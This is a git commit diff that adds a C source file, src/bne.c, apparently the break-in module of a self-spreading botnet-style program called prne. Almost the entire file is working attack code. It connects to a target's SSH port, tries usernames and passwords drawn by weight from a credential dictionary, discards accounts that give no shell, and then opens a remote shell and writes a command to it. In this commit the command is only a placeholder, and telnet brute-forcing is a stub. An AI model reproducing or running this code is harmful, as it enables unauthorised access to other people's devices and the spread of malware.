diff options
author | David Timber <mieabby@gmail.com> | 2020-09-18 00:39:10 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-18 00:39:10 +0930 |
commit | 54166c46f32555532dc3c0e922fe6a591cb74128 (patch) | |
tree | dee32ffb8a15365cc2800f6c2cbc3520ef56324e /src/bne.c | |
parent | e6953dcb47193746a4f4d9fff0193723fadbb3e6 (diff) |
* Impl: bne
* Add prne_index_nybin()
Diffstat (limited to 'src/bne.c')
-rw-r--r-- | src/bne.c | 727 |
1 files changed, 727 insertions, 0 deletions
diff --git a/src/bne.c b/src/bne.c new file mode 100644 index 0000000..bf82199 --- /dev/null +++ b/src/bne.c @@ -0,0 +1,727 @@ +#include "bne.h" +#include "util_ct.h" +#include "util_rt.h" +#include "iset.h" +#include "llist.h" +#include "rnd.h" +#include "libssh2.h" + +#include <string.h> +#include <ctype.h> +#include <errno.h> + +static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m +static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s +static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s +static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms +#define BNE_CONN_TIMEOUT 5000 // 5s +#define BNE_CONN_ATTEMPT 3 + +struct prne_bne { + prne_iset_t cred_set; + prne_rnd_t rnd; + prne_bne_result_t result; + prne_bne_param_t param; +}; + +typedef struct { + unsigned int attempt; + uint16_t port; +} bne_port_t; + +typedef struct { + LIBSSH2_SESSION *ss; + LIBSSH2_CHANNEL *ch_shell; + LIBSSH2_CHANNEL *ch_sftp; + char *auth_list; + int fd; + prne_llist_t ports; +} bne_vssh_ctx_t; + +static bool bne_build_cred_set (prne_bne_t *ctx) { + bool ret = true; + + prne_iset_clear(&ctx->cred_set); + for (size_t i = 0; ret && i < ctx->param.cred_dict->cnt; i += 1) { + ret = prne_iset_insert( + &ctx->cred_set, + (prne_iset_val_t)(ctx->param.cred_dict->arr + i)); + } + + return ret; +} + +static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) { + prne_cred_dict_entry_t *ent; + const char *ent_id; + + if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + return; + } + + for (size_t i = 0; i < ctx->cred_set.size;) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + ent_id = ctx->param.cred_dict->m + ent->id; + + if (strcmp(id, ent_id) == 0) { + prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)ent); + } + else { + i += 1; + } + } + + if (ctx->param.cb.exit_dd != NULL) { + ctx->param.cb.exit_dd(); + } +} + +static void bne_free_result_cred (prne_bne_t *ctx) { + prne_free(ctx->result.cred.id); + prne_free(ctx->result.cred.pw); + ctx->result.cred.id = NULL; + ctx->result.cred.pw = NULL; +} + +static bool bne_do_connect ( + const int af, + const struct sockaddr *sa, + const socklen_t sl, + int *fd, + pth_event_t ev) +{ + int f_ret; + struct pollfd pfd; + + *fd = socket(af, SOCK_STREAM, 0); + if (*fd < 0) { + return false; + } + if (!prne_sck_fcntl(*fd)) { + return false; + } + + f_ret = connect(*fd, sa, sl); + if (f_ret < 0 && errno != EINPROGRESS) { + goto ERR; + } + + pfd.fd = *fd; + pfd.events = POLLOUT; + f_ret = prne_pth_poll(&pfd, 1, BNE_CONN_TIMEOUT, ev); + if (f_ret > 0) { + socklen_t sl = sizeof(int); + int sov = 0; + + if (!(pfd.revents & ~POLLOUT) && + getsockopt(*fd, SOL_SOCKET, SO_ERROR, &sov, &sl) == 0) + { + if (sov == 0) { + return true; + } + errno = sov; + } + } + +ERR: + prne_close(*fd); + *fd = -1; + return true; +} + +static void bne_vssh_discon ( + bne_vssh_ctx_t *vs, + const struct timespec *to, + const int reason, + const char *desc) +{ + pth_event_t ev; + + if (vs->ss == NULL) { + return; + } + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(*to)); + prne_assert(ev != NULL); + + prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev); + pth_event_free(ev, FALSE); +} + +static void bne_vssh_drop_conn (bne_vssh_ctx_t *vs) { + prne_shutdown(vs->fd, SHUT_RDWR); + + prne_free(vs->auth_list); + vs->auth_list = NULL; + prne_lssh2_free_session(vs->ss); + vs->ss = NULL; + prne_close(vs->fd); + vs->fd = -1; +} + +static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { + bool ret = false; + uint8_t m_sa[prne_op_max( + sizeof(struct sockaddr_in), + sizeof(struct sockaddr_in6))]; + struct sockaddr_in *sa4; + struct sockaddr_in6 *sa6; + socklen_t sl; + int af; + pth_event_t ev; + const struct timespec *pause = NULL; + + if (vs->ss != NULL) { + return true; + } + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(BNE_CONN_OP_TIMEOUT)); + prne_assert(ev != NULL); + + while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) { + bne_port_t *p = (bne_port_t*)vs->ports.head->element; + + if (pause != NULL) { + pth_nanosleep(pause, NULL); + pause = NULL; + } + + bne_vssh_drop_conn(vs); + p->attempt += 1; + + switch (ctx->param.subject.ver) { + case PRNE_IPV_4: + sl = sizeof(struct sockaddr_in); + sa4 = (struct sockaddr_in*)m_sa; + prne_memzero(m_sa, sl); + + sa4->sin_family = af = AF_INET; + memcpy(&sa4->sin_addr, ctx->param.subject.addr, 4); + sa4->sin_port = htons(p->port); + break; + case PRNE_IPV_6: + sl = sizeof(struct sockaddr_in6); + sa6 = (struct sockaddr_in6*)m_sa; + prne_memzero(m_sa, sl); + + sa6->sin6_family = af = AF_INET6; + memcpy(&sa6->sin6_addr, ctx->param.subject.addr, 16); + sa6->sin6_port = htons(p->port); + break; + default: continue; + } + + if (!bne_do_connect(af, (struct sockaddr*)m_sa, sl, &vs->fd, ev)) { + ctx->result.err = errno; + goto END; + } + if (vs->fd < 0) { + pause = &BNE_ERR_PAUSE; + if (p->attempt >= BNE_CONN_ATTEMPT) { + goto POP; + } + continue; + } + + vs->ss = libssh2_session_init(); + if (vs->ss == NULL) { + ctx->result.err = errno; + goto END; + } + libssh2_session_set_blocking(vs->ss, 0); + + if (prne_lssh2_handshake(vs->ss, vs->fd, ev) == 0) { + ctx->result.err = 0; + ret = true; + break; + } + /* fall-through */ +POP: + // try next port + prne_free(p); + prne_llist_erase(&vs->ports, vs->ports.head); + } + +END: + if (ev != NULL) { + if (pth_event_status(ev) != PTH_STATUS_OCCURRED) { + ctx->result.err = ETIMEDOUT; + } + pth_event_free(ev, FALSE); + } + if (!ret) { + bne_vssh_drop_conn(vs); + } + + return ret; +} + +/* +* +* Does linear search to save memory. This is slow. But hey, as long as it works. +*/ +static bool bne_pop_cred ( + prne_bne_t *ctx, + const bool per_id) +{ + prne_cred_dict_entry_t *ent, *rc = NULL; + size_t coin; + uint_fast16_t w_tmp; + uint8_t wv; + prne_iset_t w_set; + prne_llist_t cl; + const char *ent_id, *ent_pw; + bool ret = true, id_match; + + if (ctx->cred_set.size == 0) { + return false; + } + if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + ctx->result.err = errno; + return false; + } + + prne_init_iset(&w_set); + prne_init_llist(&cl); + + // gather weight values + for (size_t i = 0; i < ctx->cred_set.size; i += 1) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) { + ctx->result.err = errno; + ret = false; + goto END; + } + } + + do { + w_tmp = 0; + for (size_t i = 0; i < w_set.size; i += 1) { + w_tmp += (uint_fast16_t)w_set.arr[i]; + } + + // determine weight + if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { + ctx->result.err = errno; + ret = false; + goto END; + } + + if (w_tmp > 0) { + coin = coin % w_tmp; + + w_tmp = 0; + wv = (uint8_t)(w_set.arr[w_set.size - 1]); + for (size_t i = 0; i < w_set.size; i += 1) { + w_tmp += (uint_fast16_t)w_set.arr[i]; + if (coin < w_tmp) { + wv = (uint8_t)(w_set.arr[i]); + break; + } + } + } + else { + wv = 0; + } + + // search + prne_llist_clear(&cl); + for (size_t i = 0; i < ctx->cred_set.size; i += 1) { + ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; + ent_id = ctx->param.cred_dict->m + ent->id; + + if (per_id && ctx->result.cred.id != NULL) { + id_match = strcmp(ctx->result.cred.id, ent_id) == 0; + } + else { + id_match = true; + } + + if (id_match && ent->weight == wv) { + if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) { + ret = false; + ctx->result.err = errno; + goto END; + } + } + } + + if (cl.size > 0) { + prne_llist_entry_t *le; + + if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { + ctx->result.err = errno; + ret = false; + goto END; + } + coin = coin % cl.size; + + le = cl.head; + for (size_t i = 0; i < coin; i += 1) { + le = le->next; + } + + rc = (prne_cred_dict_entry_t*)le->element; + goto END; + } + else { + // try next weight value + prne_iset_erase(&w_set, (prne_iset_val_t)(wv)); + } + } while (w_set.size > 0); + +END: + prne_free_iset(&w_set); + prne_free_llist(&cl); + bne_free_result_cred(ctx); + if (rc != NULL && ret) { + size_t id_len, pw_len; + + prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc); + + ent_id = ctx->param.cred_dict->m + rc->id; + ent_pw = ctx->param.cred_dict->m + rc->pw; + id_len = strlen(ent_id); + pw_len = strlen(ent_pw); + + ctx->result.cred.id = prne_alloc_str(id_len); + ctx->result.cred.pw = prne_alloc_str(pw_len); + if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) { + ctx->result.err = errno; + ret = false; + bne_free_result_cred(ctx); + } + else { + memcpy(ctx->result.cred.id, ent_id, id_len + 1); + memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1); + } + } + + if (ctx->param.cb.exit_dd != NULL) { + ctx->param.cb.exit_dd(); + } + + return ret; +} + +static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { + bool ret = false; + pth_event_t ev = NULL; + int f_ret; + + while (true) { + if (!bne_vssh_est_sshconn(ctx, vs)) { + break; + } + + if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) { + if (!bne_pop_cred(ctx, true)) { + break; + } + if (ctx->result.cred.id == NULL) { + // have to try different ID + bne_vssh_discon( + vs, + &BNE_CLOSE_OP_TIMEOUT, + SSH_DISCONNECT_BY_APPLICATION, + "this ain't over!"); + bne_vssh_drop_conn(vs); + continue; + } + } + + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(BNE_SCK_OP_TIMEOUT)); + prne_assert(ev != NULL); + + if (vs->auth_list == NULL) { + const char *tmp = prne_lssh2_ua_list( + vs->ss, + vs->fd, + ctx->result.cred.id, + ev, + NULL); + + if (tmp != NULL) { + const size_t len = strlen(tmp); + + vs->auth_list = prne_alloc_str(len); + if (vs->auth_list == NULL) { + ctx->result.err = errno; + break; + } + memcpy(vs->auth_list, tmp, len + 1); + prne_transstr(vs->auth_list, tolower); + } + else if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + } + + f_ret = prne_lssh2_ua_authd(vs->ss, vs->fd, ev); + if (f_ret < 0) { + bne_vssh_drop_conn(vs); + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + continue; + } + + if (f_ret == 0) { + // need auth + // check vs->auth_list maybe? + f_ret = prne_lssh2_ua_pwd( + vs->ss, + vs->fd, + ctx->result.cred.id, + ctx->result.cred.pw, + ev); + if (f_ret == LIBSSH2_ERROR_AUTHENTICATION_FAILED) { +/* +* server's not accepting the credentials that had been used for the +* first time +*/ + prne_free(ctx->result.cred.pw); + ctx->result.cred.pw = NULL; + continue; + } + if (f_ret != 0) { + bne_vssh_drop_conn(vs); + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + continue; + } + } + + // after auth, acquire shell + do { // FAKE LOOP + vs->ch_shell = prne_lssh2_open_ch( + vs->ss, + vs->fd, + ev, + NULL); + if (vs->ch_shell == NULL) { + break; + } +#if 0 // without terminal + if (prne_lssh2_ch_req_pty( + vs->ss, + vs->ch_shell, + vs->fd, + "vanilla", + ev)) + { + break; + } +#endif + if (prne_lssh2_ch_sh(vs->ss, vs->ch_shell, vs->fd, ev)) { + break; + } + + ret = true; + ctx->result.err = 0; + } while (false); + + if (!ret) { + if (pth_event_status(ev) == PTH_STATUS_OCCURRED) { + break; + } + // credential worked, but could not open shell with this account + bne_delete_cred_w_id(ctx, ctx->result.cred.id); + bne_free_result_cred(ctx); + bne_vssh_discon( + vs, + &BNE_CLOSE_OP_TIMEOUT, + SSH_DISCONNECT_BY_APPLICATION, + "this ain't over!"); + bne_vssh_drop_conn(vs); + continue; + } + break; + } + + pth_event_free(ev, FALSE); + return ret; +} + +static bool bne_do_vec_telnet (prne_bne_t *ctx) { + // TODO + return false; +} + +static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { + // TODO + static const char *CMD = "echo \"boop!\" > /tmp/prne.boop\n"; + prne_lssh2_ch_write(vs->ss, vs->ch_shell, vs->fd, CMD, strlen(CMD), NULL); + return true; +} + +static bool bne_do_vec_ssh (prne_bne_t *ctx) { + static const uint16_t SSH_PORTS[] = { 22 }; + bool ret = false; + bne_vssh_ctx_t vssh_ctx; + + prne_memzero(&vssh_ctx, sizeof(bne_vssh_ctx_t)); + vssh_ctx.fd = -1; + prne_init_llist(&vssh_ctx.ports); + + bne_free_result_cred(ctx); + + for (size_t i = 0; i < sizeof(SSH_PORTS)/sizeof(uint16_t); i += 1) { + bne_port_t *p = prne_calloc(sizeof(bne_port_t), 1); + + if (p == NULL) { + ctx->result.err = errno; + goto END; + } + p->port = SSH_PORTS[i]; + + if (!prne_llist_append( + &vssh_ctx.ports, + (prne_llist_element_t)p)) + { + prne_free(p); + ctx->result.err = errno; + goto END; + } + } + + if (!bne_build_cred_set(ctx)) { + ctx->result.err = errno; + goto END; + } + + if (!bne_vssh_login(ctx, &vssh_ctx)) { + goto END; + } + + // `ctx->result.cred` must be set at this point + if (vssh_ctx.ch_shell != NULL) { + ret = bne_vssh_do_shell(ctx, &vssh_ctx); + } + +END: + bne_vssh_discon( + &vssh_ctx, + &BNE_CLOSE_OP_TIMEOUT, + SSH_DISCONNECT_BY_APPLICATION, + "thank you"); + bne_vssh_drop_conn(&vssh_ctx); + for (prne_llist_entry_t *e = vssh_ctx.ports.head; e != NULL; e = e->next) { + prne_free((void*)e->element); + } + prne_free_llist(&vssh_ctx.ports); + return ret; +} + +static void bne_free_ctx_f (void *p) { + prne_bne_t *ctx = (prne_bne_t*)p; + + if (ctx == NULL) { + return; + } + + prne_free_iset(&ctx->cred_set); + prne_free_rnd(&ctx->rnd); + prne_free_bne_param(&ctx->param); + bne_free_result_cred(ctx); + prne_free(ctx); +} + +static void bne_fin_f (void *p) { + // do nothing +} + +static void *bne_entry_f (void *p) { + prne_bne_t *ctx = (prne_bne_t*)p; + bool f_ret; + + for (size_t i = 0; i < ctx->param.vector.cnt; i += 1) { + switch (ctx->param.vector.arr[i]) { + case PRNE_BNE_V_BRUTE_TELNET: + f_ret = bne_do_vec_telnet(ctx); + break; + case PRNE_BNE_V_BRUTE_SSH: + f_ret = bne_do_vec_ssh(ctx); + break; + } + + if (f_ret) { + ctx->result.vec = ctx->param.vector.arr[i]; + break; + } + } + + return &ctx->result; +} + +void prne_init_bne_param (prne_bne_param_t *p) { + prne_memzero(p, sizeof(prne_bne_param_t)); + p->rcb.self = PRNE_ARCH_NONE; +} + +void prne_free_bne_param (prne_bne_param_t *p) {} + +const char *prne_bne_vector_tostr (const prne_bne_vector_t v) { + switch (v) { + case PRNE_BNE_V_BRUTE_TELNET: return "telnet"; + case PRNE_BNE_V_BRUTE_SSH: return "ssh"; + } + return NULL; +} + +prne_bne_t *prne_alloc_bne ( + prne_worker_t *w, + mbedtls_ctr_drbg_context *ctr_drbg, + const prne_bne_param_t *param) +{ + prne_bne_t *ret = NULL; + uint8_t seed[PRNE_RND_WELL512_SEEDLEN]; + + if (ctr_drbg == NULL) { + errno = EINVAL; + return NULL; + } + +// TRY + ret = (prne_bne_t*)prne_calloc(sizeof(prne_bne_t), 1); + if (ret == NULL) { + goto ERR; + } + prne_init_iset(&ret->cred_set); + prne_init_bne_param(&ret->param); + prne_init_rnd(&ret->rnd); + + if (mbedtls_ctr_drbg_random(ctr_drbg, seed, sizeof(seed)) != 0) { + goto ERR; + } + if (!prne_rnd_alloc_well512(&ret->rnd, seed)) { + goto ERR; + } + + ret->param = *param; + + ret->result.subject = &ret->param.subject; + ret->result.vec = PRNE_BNE_V_NONE; + ret->result.prc = PRNE_PACK_RC_OK; + + w->ctx = ret; + w->entry = bne_entry_f; + w->fin = bne_fin_f; + w->free_ctx = bne_free_ctx_f; + return ret; +ERR: // CATCH + if (ret != NULL) { + bne_free_ctx_f(ret); + ret = NULL; + } + + return NULL; +} |